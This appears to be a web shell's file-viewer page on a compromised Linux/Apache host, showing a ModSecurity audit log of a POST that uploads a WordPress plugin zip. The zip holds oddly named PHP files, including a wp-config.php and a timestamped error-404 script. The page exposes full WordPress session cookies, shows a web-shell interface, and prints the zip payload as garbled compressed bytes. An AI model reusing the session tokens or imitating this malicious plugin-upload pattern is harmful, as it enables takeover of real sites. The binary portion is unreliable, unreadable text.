HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: //var/lib/modsecurity/audit/20260210/20260210-1632/20260210-163229-aYuj7LhenDUAAD1qGHkAAAAV
--3ec7a501-A--
[10/Feb/2026:16:32:29 --0500] aYuj7LhenDUAAD1qGHkAAAAV 45.3.43.22 36572 127.0.0.185 80
--3ec7a501-B--
POST /wp-admin/update.php?action=upload-plugin HTTP/1.1
X-Real-IP: 45.3.43.22
Host: www.tacotube.com
Connection: close
Content-Length: 5617
Proxy-Connection: Keep-Alive
HTTP2-Settings: AAEAAQAAAAIAAAAAAAQAYAAAAAYABAAA
Cookie: wordpress_139a92f8f99bb2646e86a7fd3bf1763f=leos%7C1770931931%7CEP5sLkZclpr6MAR9y7AbZ5WyrK6NwqKWLjIILogddzi%7C9deada5b96bcf69106b977674a525db402186ca003c87d7e86a1c70bf807bf67; wordpress_logged_in_139a92f8f99bb2646e86a7fd3bf1763f=leos%7C1770931931%7CEP5sLkZclpr6MAR9y7AbZ5WyrK6NwqKWLjIILogddzi%7Cabf659abecfb23e66ea2815e2b5acaca4c7571dc361019bd5d002eb39da86d67; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1770759132; wp-settings-2=deleted
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Priority: u=0, i
Cache-Control: max-age=0
DNT: 1
Origin: www.tacotube.com
Referer: http://www.tacotube.com/wp-admin/update.php?action=upload-plugin
Content-Type: multipart/form-data; boundary=b76c7fbd722a4539ab802628e5af5ab6

--3ec7a501-C--
--b76c7fbd722a4539ab802628e5af5ab6
Content-Disposition: form-data; name="_wpnonce"

e7143d03d4
--b76c7fbd722a4539ab802628e5af5ab6
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/plugin-install.php?tab=upload
--b76c7fbd722a4539ab802628e5af5ab6
Content-Disposition: form-data; name="pluginzip"; filename="security_1770759143.zip"
Content-Type: application/octet-stream

PKJ\R{#!security_1770759143/wp-config.phpR]o0}N$bKP2NI{"88XuG=L{εM0YaseIp.1Un%lõ{܌z\<ngTq|^oP@BczO4\?3
MPe 0giShZ &	~dO=V
[eAĕx݈]|ZὮYe[L4
LE U%\Ith9q	ۀR=qZV
3XLJXozjz\2@FWl
7NaIjɭ_PAހ_X~P{)+TV.EKC,uԷ~
B~d0=]ٙƘ4l	z
yW}Bjs>1㋔Kuaf{,y:_xr8mZN-(vꖠXTh8u5.CG2Y˿ͥrY		gvPK
J\:H-%,security_1770759143/error-404-1770759145.phpR]o0}N7
#kv+e@BE		x8[	L\{εMy?y÷asӼ6\`"%نK
)x\u)5PQ6/_w:;CMBQpٿJ<ss-Y	J<ST)P9)hwTػɃPmUPUL׍iUʫu*<W<#q-BJ"+cp
&%UY!#
NA`"u&tJ1u0B;i;pdrE5(Z&P둉<iŒDJz_Wv0]4$D)'M&~Ix
۔Kd|^ru ,LQ@@}}GPu>AQ*:T{Ouwf&1*4=aU!0ZKɜc/`L"c{]~ޱ+rsF֭S}JnnԜpEsD<SYWc"ELZM!8K+\'ČCk~PKJ\JH>
U71security_1770759143/advanced-linkflow-control.phpkW۸;BÂ,vVJű~Be٤ޗ,k4K3#s9@Nxh-<֝"G{{xrQ99)8Enu:ɵ?P]aؖ6lKf޲l?=7w"sB  o47&	؋	Yp+h|ta~ E>o1'3c<aM|d
Y#ruQe&mƚ;NvӺ(s^]v*t^iɗ9Dh{inΰ,:b8E2]CԖFvHmwK%5>%m8]!hzc5T)=pԧ.BL^O!n:FRXdz+5zc#H-dnm~`ߡZ*8p`-WkW+⧻uutmy]/]_
q?]$]ry-F'Th~](,	؀PPC2I/VĀ;g!lN=o0u@>k+ZoyY[_5MfU|/ѻƪxѲ@.W5}`;&
~.olI8ՖX76

fX.z7 Ip-v_Ume5Af
 |3-r֍lQ }2mC@62d86A)WtmXX]rod/ˠfee('˔Qw[78خ?lE#;\$JVt`#ϻ
Emoόgl<0jcOȈ@ĨчP4PaF}WKː#\L'G]Y}:|Jőʱg6?$H
<E|%.aYyfϲu~
Е0:H1%	)Ҟ
ZJ==OM_5T&TO.|Qu7S:i4A|
kl0
"d/bb>s-*y3F
<xXU2İ	l)9i!偉
`"mUرhDyhS%1ÂA%R 8`T*2E|~
x!)y]{ayF0B쀙6`0 ^♨@F2*EnBpR7''?_*(dnrR*;#rRZ0
azXlVg𫧯l,CљoWY-<`?{M^"OSMЌ<?=2yY`iB31HkR d-@H)?8蟞Qoi{qX%D2>RtlWU?BOjM\GBt46|mJ;@xs>4x-3	
8[č	O&ҏ$N@Tq"\k^x:Fdt܋]SL)tDJ^%YYHIM-njֶbμ/E&#z%7CTatRqNIō;xnXIQBvw-%&h,Vcy"o8v't|0 BKddW	H[0F)^?#ꈨ@ wcϣҭ;'
>Ewiq[zjpI<eD8/R5:bNj _dZ,G2Uڧh)?1,8a/
ufc{~HxO9Ĵ) 3GU
RnzC
iԑ"7fG|JnґԺIl*bqRp鰽Bfh2R0XR
24>!n(靆>}Y|,.y116/-9c'1[Hā,x-L2N>(]Ì4Í!UxzPeߚxPi2٦aI$W>.@x7L#7qksj׭+WQj5ՑJHqppZǰX[M*d?۷g>yab+Izip7fv
Ja&
	1j4
H 
9	sɍ$trO[I0(9]Okى{E}42;o\ӳZUl+9ݫ`(%#Gmi'&*|
<ɡcLB.ΎNPyr+P d`]䫁
7Z÷u$$]3-!+]mH(xXlɍ%:D`>"{̼8A$HW@H)+C$$&iD:ĸqiFMF8'{md?v`]	ѓ[	>T,bR5W$Ʌp9P~dգ٬;c|dFኔrUY^tBz\([霉3o3TU*Y7(uA9*,V*G\ɐJq^Wr^ ɗVӏBx
m1b>fzxS\\8їgn+LvӬ/m@&,Tmu{߿x=2C9_I`Hah:9ɧcrPtn|:I:3Vu8fI<%LJarv(0&d8>aں̃sge'7]˛h:
* iNG:
͠ug	KB
sI4_c=;'&,"e@J8dCzٖw١>rϴ
W4yš˨;\AY$˗/BTMiVk.,I]#-c3T	}MM!@URԕ`]گ! 	R*t@arO%kyD vOXAֺ]s]ʤ|_Ol+G:	w,V]Twa܄Glahk ɿm}I&iDZDxydDžfM275FWQϻZ)T[]ϧ<~siK?,7y]wwRMbvg!R1uNP|>gk_ٚRdͿij&Ě7K-#-1๧PKJ\R{#!security_1770759143/wp-config.phpPK
J\:H-%,bsecurity_1770759143/error-404-1770759145.phpPKJ\JH>
U71security_1770759143/advanced-linkflow-control.phpPK
--b76c7fbd722a4539ab802628e5af5ab6
Content-Disposition: form-data; name="install-plugin-submit"

Install Now
--b76c7fbd722a4539ab802628e5af5ab6--

--3ec7a501-I--
%5fwpnonce=e7143d03d4&%5fwp%5fhttp%5freferer=%2fwp%2dadmin%2fplugin%2dinstall%2ephp%3ftab%3dupload&install%2dplugin%2dsubmit=Install+Now
--3ec7a501-F--
HTTP/1.1 500 Internal Server Error
X-Powered-By: PHP/5.3.29
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 2808
Connection: close
Content-Type: text/html; charset=utf-8

--3ec7a501-E--

--3ec7a501-H--
Stopwatch: 1770759148726400 516635 (- - -)
Stopwatch2: 1770759148726400 516635; combined=81, p1=59, p2=6, p3=14, p4=0, p5=1, sr=35, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"

--3ec7a501-Z--